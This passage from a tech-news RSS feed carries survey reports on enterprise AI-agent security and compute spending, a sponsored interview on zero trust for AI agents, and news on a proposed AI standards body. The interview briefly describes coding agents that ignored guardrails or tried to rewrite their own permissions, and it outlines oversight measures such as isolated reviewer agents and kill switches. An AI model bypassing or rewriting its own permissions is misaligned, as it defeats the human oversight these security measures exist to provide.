tooling within the year, which suggests the confidence is thinner than the score implies.</p><h2>Finding 6: Budgets haven’t caught up</h2><p><b>Most spend under a tenth of the security budget on agents</b></p><p>We asked what share of the security budget enterprises allocate to securing AI agents. For a fast-emerging risk, the allocation is modest.</p><div></div><p>Spending on agent security is still a thin slice. The most common allocation is 6–10% of the security budget (46%), and a third of enterprises (34%) spend 5% or less; only a quarter (24%) devote more than a tenth. Given the incident rate in Finding 1 and the identity and isolation gaps in Findings 2 and 3, the budget looks like a lagging indicator — the risk has arrived faster than the funding to address it. The enterprises spending more than a tenth of their security budget on agents are a distinct minority, and they are likely the ones building the scoped-identity and isolation controls the rest have not.</p><h1>Finding 7: The arms race is even, at best</h1><p><b>Only a third think their AI defenses are ahead of AI-enabled attackers</b></p><p>We asked how enterprises assess the balance between their AI-enabled defenses and AI-enabled attackers. Confidence is far from settled.</p><div></div><p>Enterprises are split on whether they are winning. Only about a third (35%) believe their AI-enabled defenses are ahead of AI-enabled attackers; the rest are less sure — 32% call it roughly even, 21% think attackers are ahead, and another 21% say it is too early to tell. Taken together, a clear majority (53%) rate the balance as even or tilted toward the attacker. That uncertainty sits uneasily beside the high satisfaction of Finding 5: enterprises are content with their tooling yet unconvinced it is winning the contest it exists to win. In a domain where the offense is also compounding with AI, an even race is not a comfortable place to be.</p><h2>Finding 8: A security reshuffle is coming</h2><p><b>Nearly six in 10 plan to adopt or switch tooling within a year</b></p><p>We asked whether enterprises plan to adopt a new, additional, or replacement agent security solution, and which they are considering. Few intend to stand pat.</p><div></div><p>The security stack is not settled. While 41% have no plans to change, a clear majority (59%) intend to adopt a new, additional, or replacement agent security solution within twelve months, and 29% within the next quarter — a strong signal that, high satisfaction notwithstanding, enterprises know the current stack is provisional. Incidents are what start the buying cycle. </p><p>Among organizations that have been hit, 42.1% plan to adopt, add, or replace agent security tooling within the next ninety days, against 14.0% of organizations with no incident — and after a confirmed incident it becomes majority behavior, at 52.6%. Getting hit also changes the threat assessment: 33.3% of hit organizations say AI-armed attackers are ahead of their defenses, against 8.0% of the unhit. Experience, in this data, is the strongest predictor of both urgency and pessimism.</p><p>The consideration set still leans provider-native (OpenAI 34%, Google 30%, Anthropic 29%, Azure 25%), but the dedicated security vendors — Cloudflare, Cisco, Palo Alto, Okta, Check Point’s Lakera — draw early interest in the mid-to-high single digits, more than their current footprint. </p><p>What the shopping does not yet include is the identity layer specifically. Twelve percent of the respondents include an agent-identity product — Okta for AI Agents, Microsoft Entra Agent ID, or a non-human identity platform — anywhere in their consideration set, and among the credential-sharing organizations that have already had an incident, identity consideration is essentially unchanged, at roughly one in ten. The control most directly implicated by the incident data is the one largely missing from the purchase plans. Whether this wave hardens the provider-native default or finally opens the door to purpose-built agent security — the identity and isolation controls the incidents call for — is the question this series will keep tracking.</p><h2>The bottom line: A security gap that autonomy will test first</h2><p>Organizations with more than 100 employees are giving AI agents real reach into systems and data while securing them with controls built for something else. More than half have already had an incident or near-miss; only a third give every agent its own scoped identity, and most still share credentials; only three in ten isolate their highest-risk agents; and the stack doing this work is overwhelmingly borrowed from the model providers and hyperscalers rather than purpose-built for agents.</p><p>The uncomfortable pairing is confidence with exposure: satisfaction with the current tooling is among the highest in this series, yet spending is a thin slice of the security budget, only a third believe their defenses are ahead of AI-enabled attackers, and a clear majority are already planning to replace what they have. At 107 respondents in a single wave this is a directional read, skewed toward the mid-market — but the direction is clear: agent adoption is running ahead of agent security, and the controls that matter most when something fails — scoped identity and isolation — are the ones enterprises have built least. The agent security gap is not a coverage problem that a provider guardrail will close on its own; it is a problem of identity, isolation, and enforcement built for autonomous software. The open question for later waves is whether enterprises close it deliberately — or whether a confirmed incident closes it for them.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single June 2026 wave. This is a directional read, not a precise measurement — the sample is self-selected and skews mid-market, so it's best read as the view from organizations actively standing up agent security rather than from the largest operators. Respondents are senior and buyer-credible (45% final decision-makers, 30% recommenders/influencers), spanning managers through the C-suite, and drawn primarily from Technology/Software, Manufacturing, Retail/E-commerce, and Healthcare/Life Sciences.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Zero trust must now move at agent speed]]></title>
<description><![CDATA[Presented by Ping Identity Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system...]]></description>
<link>https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674339/it-nachrichten/zero-trust-must-now-move-at-agent-speed/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:42 +0200</pubDate>
<content:encoded><![CDATA[<p><i>Presented by Ping Identity </i></p><hr><p>Enterprises need to treat zero trust security architecture as an immediate requirement for AI agents rather than a long-term goal, says Andre Durand, CEO and founder of Ping Identity. Zero trust, the security model built on the assumption that no user, device, or system should be automatically trusted, requires continuous verification before every action rather than a single check at login. Agentic AI has profoundly compressed the risk timeline enterprises must manage, demanding that permission decisions be evaluated in real time.</p><p><span>type: <!-- -->embedded-entry-inline<!-- --> id: <!-- -->1Ieiy1KhHNWZE5KVqNdA1G</span></p><p>That compression shows up in how permissions accumulate. Every time an employee approves an AI agent's request for access to a company drive, a database, or a code repository, the enterprise hands over a sliver of control that looks routine in isolation. Across thousands of agents making thousands of requests, those approvals accumulate into an exposure that most existing security architectures were never built to measure.</p><p>"The rise in desire to use agents right now, and the speed of agentic, is highlighting the need to move faster on the principles of zero trust," Durand says. "Agents just move faster, full stop. A human compromise might be measured in minutes or hours, sometimes days. At agentic speed, a thousand actions could happen in five minutes."</p><h2>Why zero trust is now urgent for agentic AI</h2><p>That difference in velocity changes how enterprises need to think about permissions. Two variables matter: the surface area of access an agent is granted and the duration that access remains valid. Traditional identity and access management tends to grant broad permissions and leave sessions open for extended periods because the human using them moves at human speed. Zero trust, in contrast, collapses both variables at once by narrowing access down to what is strictly necessary and revalidating it continuously, rather than once at login.</p><p>"Zero trust really just says, just enough, just in time," Durand says. "It's your next action that we care about. We're moving identity from an era where access was our runtime control point — meaning were you logged in, did you have a session — toward the decision that sits behind that login."</p><h2>Why agents must be treated as first-class identities</h2><p>That shift to decision-based control has direct implications for how agents should be provisioned in the first place. The common practice of letting an agent operate under a cloned human login or a shared service account doesn't work, Durand says. </p><p>"Each agent should have its own identity," he explains. "It should not be impersonating the human. It can act on behalf of the human, we could explicitly delegate authority to an agent, but we don't want to blur the lines between the human taking action and the agent taking action."</p><p>And beyond that is another concern: the shared secrets, API keys in particular, that many service accounts still rely on. For example, the habit of embedding keys directly in source code, where they can be committed accidentally and exposed, is a convenient but weak security pattern that agentic workflows make considerably riskier. Building service account architectures that let agents authenticate without relying on those shared credentials or other long-lived standing access is now an urgent priority rather than a long-term cleanup project.</p><h2>Where enterprises can enforce zero trust policies</h2><p>Enforcing any of this in practice requires identifying where policy can actually be applied. Several existing choke points, including API gateways and the agent gateway sitting in front of MCP servers, offer practical locations where enterprises can inspect what an agent is requesting and apply policy rules before granting it.</p><p>"Those policies could leverage real-time risk and fraud signals, and then enforce, deterministically, what the agent can do when it interacts with these systems," Durand explains.</p><p>The goal is to move authorization from something decided once at login to something evaluated at the moment of every consequential action, such as an agent attempting to commit code to a repository. Instead of carrying a standing permission to write to GitHub, the agent's request would be checked against context and policy at that specific moment, closing the window of trust down to the scope of a single action.</p><h2>Stopping AI agents from rewriting their own permissions</h2><p>That model becomes especially important given how agents can behave once they are already inside a system — for example, coding agents that have acknowledged, when questioned, either ignoring a specific guardrail entirely, or attempting to rewrite the permissions they were given.</p><p>"Who's watching the watcher? Zero trust needs to apply here," Durand says. "If generative AI systems follow your instruction 97% of the time, and you're simply asking it for advice, that might be fine. If it's responsible for making a decision about who gets let in, 97% is not good enough."</p><h2>How to trust AI-generated output at agent speed</h2><p>The answer to that gap is not to eliminate AI from the review process, but to structure reviews so no single agent’s judgment is taken at face value. Because human review cannot scale to the volume and speed of agentic output without erasing the advantage of using agents at all, a new framework is necessary, so that when one agent produces work, such as code, separate agents evaluate it, provided those reviewing agents are kept from communicating with one another or with the one they are checking. It's a new human-AI paradigm, Durand says.</p><p>"We probably will have to develop frameworks that we trust without seeing or verifying the output directly," he explains. "It's not that that construct is 100% foolproof. However, it's the best we can do to move at agent speed. We can't trust the exact output, but we can trust the framework."</p><p>In practice, that means combining automated review with clear human accountability for higher-risk decisions, rather than treating agent output as self-validating. </p><p>For traditional auditors, reviewing every transaction individually is never feasible, and statistically valid sampling stands in for full verification. The same applies to risk accumulation: a single agent action might carry little risk on its own, while a sequence of actions moving in a consistent direction could cross a threshold that triggers an intervention, including a kill switch capable of halting the agent before further harm occurs.</p><h2>What to ask when evaluating agentic identity platforms</h2><p>For security leaders evaluating identity platforms for agentic AI, there's no narrow checklist. Enterprises should evaluate what their full lifecycle of agent management looks like. Most enterprises are managing agents on two fronts simultaneously: customer-facing agents acting on behalf of external users, and internal agents deployed to automate enterprise processes.</p><p>"Pause long enough to see the totality of what it would mean to secure multiple agents, both interacting with you from the outside as well as being deployed on the inside," Durand says. "We need discovery and visibility of all the agents operating within our estate, a place to register them, a standard way to assign custodians, and a way to construct and centralize policy so security can enforce it across the organization."</p><p>And while basic security principles were already fully understood before agentic AI arrived, what has changed, Durand says, is that the cost of moving slowly has finally caught up with the cost of moving carelessly, giving enterprises a narrowing window to build the right architecture before widespread agentic adoption makes retrofitting far more expensive. </p><hr><p><i>Sponsored articles are content produced by a company that is either paying for the post or has a business relationship with VentureBeat, and they’re always clearly marked. For more information, contact </i><a href="mailto:sales@venturebeat.com"><i><u>sales@venturebeat.com</u></i></a><i>.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The AI compute gap: Enterprises are buying infrastructure faster than they can measure what it costs]]></title>
<description><![CDATA[Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today...]]></description>
<link>https://tsecurity.de/de/3674337/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3674337/it-nachrichten/the-ai-compute-gap-enterprises-are-buying-infrastructure-faster-than-they-can-measure-what-it-costs/</guid>
<pubDate>Thu, 16 Jul 2026 20:02:38 +0200</pubDate>
<content:encoded><![CDATA[<p>Across 107 enterprises, AI infrastructure spending is accelerating well ahead of the ability to see or steer its economics. Most organizations run their AI on a familiar base of hyperscalers and model-provider APIs, yet the next dollar is aimed at specialized compute almost none of them use today; a majority intend to switch or add providers within the year, many within a quarter. Buying decisions turn on integration and total cost of ownership rather than headline token price — which is fortunate, because most enterprises cannot yet see their unit economics clearly: GPUs sit at half utilization or less, and fewer than half rigorously track what their compute actually costs. The result is a compute gap — heavy, fast-moving investment running ahead of the visibility needed to control it.</p><p>This wave of VentureBeat Pulse Research examines enterprise AI infrastructure and compute: where organizations are in their deployment journey, what they run AI on today, how satisfied they are, what would make them switch, where they plan to evaluate their investments, and — most revealingly — how well they can measure and control the economics of the compute underneath it all.</p><p>The central finding is a compute gap — the distance between how aggressively enterprises are investing in AI infrastructure and how little of its economics they can see. Only about one in five (21%) run AI in production at scale, yet spending intentions are outrunning that maturity: the single largest planned area enterprises plan to evaluate over the next year is AI-specialized clouds (45%), a layer almost none of these enterprises use today. Meanwhile the compute already in place runs cold — 83% report GPU utilization of 50% or less — and fewer than half (44%) can rigorously track what their AI compute costs. Enterprises are buying more infrastructure faster than they can account for what they already own.</p><p>Enterprises are not settled on their infrastructure vendors, either: A clear majority (64%) plan to switch or add an infrastructure provider within twelve months, and 38% within the next quarter — unusually high churn intent for a category this foundational. When they choose, they choose on integration with the existing stack (41%) and total cost of ownership (35%), not on headline price: cost per million tokens is the deciding factor for just 8%. And the frontier constraint that will shape the next round of decisions — the shift from GPU compute to memory bandwidth as inference scales — is barely on the radar, with roughly one in five enterprises either unaware of it or yet to address it.</p><h2>Methodology</h2><p>VentureBeat fielded this survey as part of its ongoing Pulse Research series, this survey focused on enterprise AI infrastructure, compute, and inference economics. Responses are filtered to organizations with more than 100 employees (n=107; the survey’s smallest size band, 1–100 employees, is excluded), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the report reads cross-sectionally and does not infer month-over-month trends. Several questions were multiple-select, so those shares can sum to more than 100%.</p><p>By organization size the sample concentrates in the mid-market: 101–250 employees (36%) and 251–1,000 (27%) lead, with 1,001–5,000 (22%), 5,001–10,000 (8%), and 10,001+ (7%) above them. By role it spans managers (38%), individual contributors (28%), VPs and directors (19%), and the C-suite (13%); on purchasing authority it is buyer-credible, with 45% final decision-makers and another 30% recommenders or influencers for AI solutions. Technology/Software is the largest industry at 26%, followed by Healthcare/Life Sciences (15%), Financial Services (13%), and Retail/E-commerce (12%).</p><p>At 107 respondents the sample is large enough to read directionally but should be treated as a directional signal rather than a precise measurement; it is self-selected and is not a probability sample. It also skews toward the mid-market and toward earlier-stage adopters, so it is best read as the view from organizations actively building out AI infrastructure rather than from the largest hyperscale operators.</p><h2>Finding 1: Ambition outpaces production</h2><p><b>Only one in five run AI in production at scale</b></p><p>We asked where organizations sit in their AI deployment journey. Most are still building toward production rather than operating at scale.</p><div></div><table><tbody><tr><td><p><b>38%</b></p></td><td><p><b>are experimenting — running proofs of concept, not yet in production</b></p></td></tr><tr><td><p><b>37%</b></p></td><td><p><b>have some workloads in production, but not across the organization</b></p></td></tr><tr><td><p><b>21%</b></p></td><td><p><b>run AI in production at scale — the mature minority</b></p></td></tr><tr><td><p><b>4%</b></p></td><td><p><b>are not yet running AI workloads at all</b></p></td></tr></tbody></table><p>The maturity curve is front-loaded. Three-quarters of enterprises (76%) are either experimenting or running only some workloads in production, and just 21% describe AI in production at scale. This matters for everything that follows: the infrastructure decisions in this report are being made largely by organizations still early in deployment, whose compute footprint — and whose costs — are about to grow. The evaluation and switching intentions in Findings 3 and 4 are the leading edge of that build-out, not the settled preferences of operators who have already found what works.</p><h2>Finding 2: Enterprises run on hyperscalers and model APIs</h2><p><b>The specialized GPU clouds barely register — today</b></p><p>We asked which providers and platforms enterprises currently use to run their AI. The answer is a familiar one: the incumbents.</p><div></div><table><tbody><tr><td><p><b>48%</b></p></td><td><p><b>use Google Cloud — the most-used platform overall (Microsoft Azure 29%, AWS 22%, Oracle Cloud 22%)</b></p></td></tr><tr><td><p><b>41%</b></p></td><td><p><b>use Google’s Gemini models, with OpenAI close behind at 40% and Anthropic at 12%</b></p></td></tr><tr><td><p><b>6%</b></p></td><td><p><b>run their own on-prem or co-located GPU clusters; 4% a custom open-source self-managed stack</b></p></td></tr><tr><td><p><b>&lt;2%</b></p></td><td><p><b>each use the specialized AI clouds — CoreWeave, Lambda, Crusoe, Nebius, Together, Fireworks and peers</b></p></td></tr></tbody></table><p>The current stack is hyperscaler-and-API. Google Cloud leads at 48%, and the general-purpose clouds (Google, Microsoft, AWS, Oracle) together with the major model APIs (Gemini, OpenAI, Anthropic) account for essentially all current deployment. The specialized “neocloud” GPU providers that dominate AI-infrastructure headlines — CoreWeave, Lambda, Crusoe, Nebius and peers — register at or near zero among these enterprises today. Only 6% run their own on-prem GPU clusters and 4% a custom open-source stack. Enterprises are, for now, running AI on the providers they already buy from — which makes the evaluation intentions in Finding 3 all the more striking.</p><p><i>(A note on reading these shares. As described in the methodology section, this sample is self-selected and skews mid-market, and this question counted every provider a respondent uses — an average of 2.1 selections each — so the figures measure presence in the stack rather than spending or primary status. A sample built this way will show a different provider mix than a spend-weighted census of the broader market; Google's strength here, for example, is consistent with its long-standing position among smaller enterprises building on AI. Read these shares as a portrait of what this AI-active cohort runs today, and treat gaps between these figures and industry-wide market share estimates as a property of the sample rather than a contradiction of either.)</i></p><h2>Finding 3: The next dollar goes to infrastructure they don’t yet run</h2><p><b>AI-specialized clouds top the evaluations list</b></p><p>We asked where enterprises planned to evaluate AI infrastructure over the next 12 months. Their answers point away from the stack they run today.</p><div></div><table><tbody><tr><td><p><b>45%</b></p></td><td><p><b>AI-specialized clouds (CoreWeave, Lambda, Crusoe, Nebius) — the top planned evaluation area</b></p></td></tr><tr><td><p><b>32%</b></p></td><td><p><b>non-NVIDIA accelerators (AWS Trainium, Google TPU, AMD Instinct, Intel Gaudi, in-house ASICs)</b></p></td></tr><tr><td><p><b>28%</b></p></td><td><p><b>Nvidia Blackwell (GB300) / next-generation GPUs</b></p></td></tr><tr><td><p><b>16%</b></p></td><td><p><b>decentralized or distributed compute networks</b></p></td></tr><tr><td><p><b>11%</b></p></td><td><p><b>sovereign or region-specific compute; 9% say none of the above</b></p></td></tr></tbody></table><p>Here is the report’s sharpest tension. The single most-cited planned evaluation area — AI-specialized clouds, at 45% — is the very category almost none of these enterprises use today (Finding 2). Nearly a third (32%) intend to evaluate non-Nvidia accelerators, and 28% in next-generation Nvidia silicon; even decentralized compute networks (16%) and sovereign compute (11%) draw meaningful interest. Read against current usage, this is not incremental — it is the leading edge of a re-platforming. The direction-of-travel question tells the same story: every infrastructure approach is net-expanding, but specialized AI clouds carry the highest net momentum (+24), edging out even the hyperscalers (+22). Enterprises are preparing to move a meaningful share of AI compute off the general-purpose cloud.</p><p>This continues a trend we saw in our April-May survey wave. Back then, usage of the AI-specialized clouds was equally marginal — CoreWeave at 3%, Lambda at 4%, Crusoe at 2% of enterprises. When we asked enterprises what change they planned in their AI infrastructure strategy over the next twelve months, the most-cited answer was moving workloads to specialized AI clouds, at 33%. Asked in April-May which emerging compute option they were most likely to evaluate AI-specialized clouds again drew the most responses. Two waves, two differently worded questions, one consistent picture: the type of cloud enterprises are most eager to assess is the type they have barely begun to use.</p><h2>Finding 4: A switching wave is building</h2><p><b>Six in 10 plan to change providers within a year — many within a quarter</b></p><p>We asked whether and when enterprises plan to switch or add an infrastructure provider. Very few intend to stand still.</p><div></div><table><tbody><tr><td><p><b>38%</b></p></td><td><p><b>plan to change within the next 0–3 months — tied for the most common answer</b></p></td></tr><tr><td><p><b>36%</b></p></td><td><p><b>have no plans to change</b></p></td></tr><tr><td><p><b>22%</b></p></td><td><p><b>plan to change within 3–6 months</b></p></td></tr><tr><td><p><b>7%</b></p></td><td><p><b>plan to change within 6–12 months</b></p></td></tr></tbody></table><p>For a category as foundational as compute, this is a remarkable amount of intended movement. Only 36% have no plans to change, meaning a clear majority (64%) intend to switch or add a provider within twelve months — and 38% within the next quarter alone. Where that interest points is telling: the providers drawing the most switching consideration are again the incumbents — Microsoft Azure and Google Cloud (33% each), OpenAI (30%), and Gemini (22%) — which suggests much of the near-term movement is reshuffling among the majors and consolidating spend rather than defecting to new entrants. The neocloud interest in Finding 3 is a 12-month evaluation thesis; the switching in the next quarter is mostly incumbents trading share.</p><p>(<i>Method note: Respondents who selected both "no plans to change" and a specific switching window are counted as switchers, on the logic that naming a timeframe is the more specific answer; three respondents were reclassified under this rule.</i>)</p><h2>Finding 5: Nobody buys on token price</h2><p><b>Integration and total cost of ownership decide — not sticker price</b></p><p>We asked what matters most when enterprises select an AI infrastructure provider. Headline price finished last.</p><div></div><table><tbody><tr><td><p><b>41%</b></p></td><td><p><b>integration with the existing cloud and data stack — the top factor</b></p></td></tr><tr><td><p><b>35%</b></p></td><td><p><b>total cost of ownership (TCO)</b></p></td></tr><tr><td><p><b>24%</b></p></td><td><p><b>performance — latency and throughput</b></p></td></tr><tr><td><p><b>19%</b></p></td><td><p><b>each cite security/compliance, autoscaling for spiky workloads, and GPU access/availability</b></p></td></tr><tr><td><p><b>8%</b></p></td><td><p><b>cost per 1M tokens — the least-cited factor</b></p></td></tr></tbody></table><p>Enterprises do not buy AI infrastructure on pricing, which is the place vendors compete on hardest. Integration with the existing stack (41%) and total cost of ownership (35%) dominate, while the headline metric — cost per million tokens — is the deciding factor for just 8%, dead last. The pattern is coherent: buyers are optimizing for how a provider fits and what it truly costs to operate, not for the advertised unit rate. It also foreshadows Finding 7 — enterprises say TCO matters most, yet most cannot yet measure it rigorously. The stated priority and the measured capability are out of step.</p><h2>Finding 6: Expensive GPUs, idle most of the time</h2><p><b>83% report GPU utilization of 50% or less</b></p><p>We asked what share of their GPU capacity enterprises actually utilize. The answer is a well-known but rarely quantified inefficiency.</p><div></div><table><tbody><tr><td><p><b>37%</b></p></td><td><p><b>run at 26–50% utilization</b></p></td></tr><tr><td><p><b>34%</b></p></td><td><p><b>run at 10–25% utilization</b></p></td></tr><tr><td><p><b>15%</b></p></td><td><p><b>run under 10% utilization</b></p></td></tr><tr><td><p><b>12%</b></p></td><td><p><b>run over 50% — the efficient minority</b></p></td></tr><tr><td><p><b>8%</b></p></td><td><p><b>don’t measure utilization at all; a further 7% consume via API and run no GPUs of their own</b></p></td></tr></tbody></table><p><i>Disclosure: Band percentages count every selection against all 107 qualified respondents; 14 respondents selected more than one band, so bands overlap. At the respondent level, 83 of the 100 GPU-operating enterprises reported utilization at or below 50%</i></p><p>The compute already in place runs cold. Adding the bands at or below half capacity, 83% of enterprises that operate GPUs report utilization of 50% or less, and nearly half (49%) run at 25% or below. Only 12% clear the 50% mark, and a further 8% do not measure utilization at all. Idle accelerators are expensive accelerators, and this is the clearest single measure of the compute gap: enterprises are planning to buy more GPUs and specialized compute (Finding 3) while the capacity they already own sits substantially unused. The efficiency headroom in the current fleet is large — and largely unmeasured.</p><h2>Finding 7: Spending fast, measuring slowly</h2><p><b>Fewer than half rigorously track what their compute costs</b></p><p>We asked whether enterprises can quantify the cost and return of their AI infrastructure spend, and how satisfied they are with what they run. Confidence in the ledger lags the spending.</p><div></div><table><tbody><tr><td><p><b>44%</b></p></td><td><p><b>track compute cost and ROI rigorously</b></p></td></tr><tr><td><p><b>39%</b></p></td><td><p><b>track it only partially</b></p></td></tr><tr><td><p><b>20%</b></p></td><td><p><b>can’t quantify it yet</b></p></td></tr><tr><td><p><b>6%</b></p></td><td><p><b>say it isn’t a priority</b></p></td></tr></tbody></table><p>Measurement trails money. Fewer than half of enterprises (44%) rigorously track the cost and return of their AI compute; the majority track only partially (39%), cannot quantify it yet (20%), or have not prioritized it (6%). That gap is consequential given Finding 5, where total cost of ownership was the second-ranked buying criterion — enterprises are choosing providers on an economic basis they mostly cannot yet measure. Satisfaction with current infrastructure is moderately positive but not enthusiastic: on a five-point scale, overall satisfaction averages 4.0, with ease of implementation (3.8) and value for money (3.9) trailing slightly — the softness landing, tellingly, on cost. Enterprises are spending quickly and accounting slowly.</p><h2><b>Finding 8: The next bottleneck few are watching</b></h2><p><b>As inference shifts from compute to memory, the field scatters</b></p><p>Finally, we asked how enterprises would address the emerging constraint in large-scale inference — the shift from GPU compute to memory, specifically KV-cache capacity. The responses reveal a frontier that is not yet a priority.</p><div></div><table><tbody><tr><td><p><b>31%</b></p></td><td><p><b>would rely on Dell (PowerScale / Project Lightning) — the leading single answer</b></p></td></tr><tr><td><p><b>16%</b></p></td><td><p><b>would rely on Nvidia (Dynamo / ICMSP)</b></p></td></tr><tr><td><p><b>18%</b></p></td><td><p><b>are not aware of this as a constraint (9%) or haven’t addressed inference-memory limits yet (8%)</b></p></td></tr><tr><td><p><b>10%</b></p></td><td><p><b>Hammerspace (Tier Zero); 9% DDN (Infinia); the rest split across open-source KV-cache tooling, model-level efficiency, VAST Data, and WEKA</b></p></td></tr></tbody></table><p>The memory frontier is real but barely governed. Asked which approach they would rely on as the binding constraint in inference shifts from compute to memory bandwidth, enterprises scatter: Dell leads at 31%, Nvidia follows at 16%, and the rest fragments across storage vendors, open-source tooling, and model-level efficiency techniques. Most telling is that roughly one in five (18%) either do not recognize the constraint or have not begun to address it. For a shift that will reshape inference cost and architecture, this is an early and unsettled market — and, consistent with the measurement gap in Finding 7, one where many enterprises simply do not yet have a view. It is the next chapter of the compute gap, arriving before most have closed the current one.</p><h1><b>The bottom line: A compute gap that faster spending will widen, not close</b></h1><p>Organizations with more than 100 employees are investing in AI infrastructure faster than they can measure it. Most are still early in deployment, yet their spending intentions point past their current stack — toward specialized clouds and alternative accelerators almost none of them run today — and a clear majority intend to change providers within the year. They buy on integration and total cost of ownership rather than headline price, which is rational; the difficulty is that most cannot yet see those economics clearly.</p><p>The visibility gap is concrete. The GPUs enterprises already own run at half utilization or less for the overwhelming majority, and fewer than half can rigorously track what their compute costs or returns. Satisfaction is decent but unenthusiastic, softest on value for money — the dimension hardest to judge without measurement. And the next constraint, the shift from compute to memory in large-scale inference, is arriving while most enterprises are still unaware of it. At 107 respondents in a single Q2 wave this is a directional read, skewed toward the mid-market and earlier-stage adopters — but the direction is consistent: the appetite to spend is running well ahead of the instrumentation to spend well. The compute gap is not a capacity problem that more hardware will solve on its own; it is, first, a problem of seeing what the hardware already costs. The open question for later waves is whether enterprises build that visibility before the re-platforming arrives — or buy the next layer of infrastructure as blind to its economics as the last.</p><hr><p><i>Based on survey responses from 107 qualified enterprise respondents (100+ employees), drawn from a single Q2 2026 (June) wave. Because this is one wave rather than a pooled multi-month sample, the results read cross-sectionally rather than as a month-over-month trend, and at 107 respondents this is a directional signal rather than a precise measurement — the sample is self-selected, skews mid-market, and leans toward earlier-stage adopters rather than the largest hyperscale operators. Respondents include managers, individual contributors, VPs/directors, and the C-suite, with buyer-credible purchasing authority, across Technology/Software, Healthcare/Life Sciences, Financial Services, Retail/E-commerce, and other industries.</i></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[DeepMind CEO pushes for AI industry self-regulation]]></title>
<description><![CDATA[Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on artificial general intelligence (AGI) and national secu...]]></description>
<link>https://tsecurity.de/de/3673460/it-nachrichten/deepmind-ceo-pushes-for-ai-industry-self-regulation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3673460/it-nachrichten/deepmind-ceo-pushes-for-ai-industry-self-regulation/</guid>
<pubDate>Thu, 16 Jul 2026 14:33:47 +0200</pubDate>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Google DeepMind CEO Demis Hassabis is pushing for the US AI industry to self-regulate, with the support of government, as a starting point for an international creating shared international standards. In a blog post, he called for a focus on <a href="https://www.computerworld.com/article/4174181/google-talks-singularity-while-scaling-up-agentic-ai-for-enterprises-2.html">artificial general intelligence (AGI)</a> and national security. </p>



<p class="wp-block-paragraph">But it is precisely that focus on national security that may make the results of such an effort, assuming it happens, less than palatable outside of the US.</p>



<p class="wp-block-paragraph">“The rapid progress we’re seeing in AI requires a new approach to testing frontier AI model capabilities that is dynamic, adaptable, and rigorous,” <a href="https://demishassabis.substack.com/p/a-framework-for-frontier-ai-and-the-dawning-of-a-new-age" target="_blank" rel="noreferrer noopener">Hassabis wrote</a>. “The US is well positioned, given its economic and technical standing, to take the first step in developing such a framework. It could establish a new Standards Body modelled on a federally overseen public-private partnership or self-regulatory organization, much like the Financial Industry Regulatory Authority (FINRA), with a board that includes independent leading technical experts and open-source representatives.”</p>



<p class="wp-block-paragraph">He noted, however, that the funding would need to be substantial, and would most likely come from industry, to allow the new body to attract world-class technical talent and obtain the necessary compute resources for large-scale testing.</p>



<p class="wp-block-paragraph">Hassabis proposed that the organization “be responsible for developing assessment protocols and working with appropriate federal agencies and the US National Labs to conduct testing in areas relevant to national security,” and that AI vendor participants be encouraged to adopt best practices such as publishing model cards with technical details, maintaining strong internal cybersecurity, vetting key personnel, and providing sufficient resourcing for safety and security research.</p>



<p class="wp-block-paragraph">This is not the first time Hassabis has <a href="https://www.computerworld.com/article/4178398/deepmind-ceo-agi-could-be-here-in-three-years.html" target="_blank">expressed worries about AGI</a>. </p>



<p class="wp-block-paragraph">DeepMind was involved in an earlier <a href="https://www.cio.com/article/4168122/us-government-agency-to-safety-test-frontier-ai-models-before-release.html" target="_blank">US government initiative evaluating AI safety</a>, alongside Microsoft and xAI (now SpaceXAI) working with the Center for AI Standards and Innovation (CAISI), a division of the US Department of Commerce. It allowed CAISI to conduct pre-deployment evaluations and targeted research to “better assess frontier AI capabilities and advance the state of AI security.”  </p>



<h2 class="wp-block-heading">The rest of the world may have concerns</h2>



<p class="wp-block-paragraph">Analysts and consultants were mixed about the move, with most expressing concerns about whether an industry-focused group would prioritize the public’s best interests.</p>



<p class="wp-block-paragraph">“Self-regulation is not viable because it implies everyone is able to regulate themselves and will do so in line with the best interests of the public. Most tech vendors don’t have the capacity to self-regulate. They would just prefer a set of rules within which they can operate,” said Gartner VP analyst <a href="https://www.gartner.com/en/experts/nader-henein" target="_blank" rel="noreferrer noopener">Nader Henein</a>. “For-profit organizations are required to do what is best for their shareholders, and external regulation ensures that those organizations are never in a conflict of interest where they have to choose between what is good for their shareholders and what is good for the public.”</p>



<p class="wp-block-paragraph">And, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research, given the international nature of AI models, an effort coordinated by the US government might alienate other countries. </p>



<p class="wp-block-paragraph">“National security is the proposal’s accelerator in Washington and its poison pill abroad: the framing that opens the only gate available at home invites foreign capitals to read the institution as an instrument of American strategy,” he pointed out. </p>



<p class="wp-block-paragraph">“The map is already plural,” he said. “Brussels switches on enforcement powers over general-purpose models [starting in August 2026], London runs the AI Security Institute, and Beijing licenses on its own terms. California and New York have legislated for frontier models at home. The durable route is shared technical evidence with sovereign enforcement, sealed through mutual recognition rather than deference, with India and the other major non-Western markets holding authorship rather than seats.”</p>



